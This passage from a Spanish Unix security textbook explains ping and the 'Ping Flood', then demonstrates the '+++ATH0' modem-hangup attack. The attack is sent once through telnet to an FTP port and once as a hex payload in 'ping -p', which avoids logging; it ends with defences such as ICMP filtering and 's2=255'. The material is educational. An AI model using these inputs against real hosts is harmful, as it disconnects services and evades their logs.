ECHO/SMALL>_RESPONSE. Al recibirlos, se asume que
la máquina está encendida:
anita:~# ping luisa
luisa is alive
anita:~#
En otras variantes de Unix (el ejemplo anterior es sobre Solaris) la orden ping produce un resultado con más información:
luisa:~# ping -c 1 anita
PING anita (192.168.0.3): 56 data bytes
64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.2 ms
--- luisa ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
luisa:~#
Aunque un simple ping resulta inofensivo en la mayoría de
situaciones, existen casos en los que se puede utilizar como un arma -
efectiva - para atacar sistemas; por ejemplo, uno de los ataques más
conocidos es el Ping Flood, consistente en saturar una línea lenta
con un número de paquetes ICMP suficientemente grande. Esta
saturación causará una degradación del servicio importante, incluso la
desconexión del sistema si se ataca una línea telefónica (un objetivo
muy habitual para los piratas). En este último caso, el de conexiones
telefónicas, otro ataque común - no directamente relacionado con ping, pero en el que se usa esta herramienta como base - consiste en enviar
una trama `especial' a un módem, obligándole a finalizar la llamada:
los módems conmutan a modo comando cuando reciben la orden `+++',
y muchos de ellos lo hacen también al recibir remotamente esta secuencia de
control.
Así, podemos conectar a un puerto donde se ofrezca determinado servicio
(como FTP o SMTP) en un host con un módem de estas
características y colgar el módem remoto sin levantarnos de la
silla, simplemente enviando la cadena `+++' seguida de una orden de
colgado como `ATH0':
luisa:~# telnet XXX.XXX.X.XX 21
Trying XXX.XXX.X.XX...
Connected to XXX.XXX.X.XX.
Escape character is '^]'.
220 gema FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Oct 22
00:38:20 CDT 1999) ready.
USER +++ATH0
^]
telnet> close
Connection closed.
luisa:~# telnet XXX.XXX.X.XX
Trying XXX.XXX.X.XX...
telnet: Unable to connect to remote host: Network is unreachable
luisa:~#
Bien pero, >dónde entra ping en este ataque? Muy sencillo: al conectar
a un servicio para enviar la cadena de caracteres, lo habitual es que el sistema
remoto registre la conexión, aunque luego su módem cuelgue. En
cambio, muy pocos sistemas registran en los logs un simple ping,
por lo que esta orden se convierte en un mecanismo que algunos piratas utilizan
para no dejar rastro de sus acciones; esto se consigue de una forma muy
sencilla: en la utilidad ping de la mayoría de Unices existe un
parámetro que permite especificar el contenido del paquete enviado (por
ejemplo, `-p' en Linux), por lo que simplemente hemos de insertar (en
hexadecimal) la cadena `+++ATH0' en la trama que enviamos al sistema
remoto:
luisa:~# ping -c 1 XXX.XXX.X.XX
PING XXX.XXX.X.XX (XXX.XXX.X.XX): 56 data bytes
64 bytes from XXX.XXX.X.XX: icmp_seq=0 ttl=255 time=0.2 ms
--- XXX.XXX.X.XX ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 6.5/6.5/6.5 ms
luisa:~# ping -p 2b2b2b415448300d XXX.XXX.X.XX
PING XXX.XXX.X.XX (XXX.XXX.X.XX): 56 data bytes
^C
--- XXX.XXX.X.XX ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
luisa:~# telnet XXX.XXX.X.XX
Trying XXX.XXX.X.XX...
telnet: Unable to connect to remote host: Network is unreachable
luisa:~#
Para evitar los problemas relacionados con los paquetes ICMP que sistemas
remotos puedan enviar a nuestra máquina puede ser conveniente filtrar
dicho protocolo mediante un cortafuegos (incluso situado en el propio equipo);
si no tenemos esta posibilidad, al
menos es interesante registrar las tramas de este tipo que llegan hasta nuestra
máquina, con programas como icmpinfo (si hacemos esto, hemos de tener
cuidado con las negaciones de servicio ocasionadas por una cantidad de logs excesiva en el disco duro).
Ah, si es nuestro módem el que presenta el problema que acabamos de
comentar, podemos solucionarlo mediante la cadena de inicialización `s2=255'.
© 2002 Antonio Villalón Huerta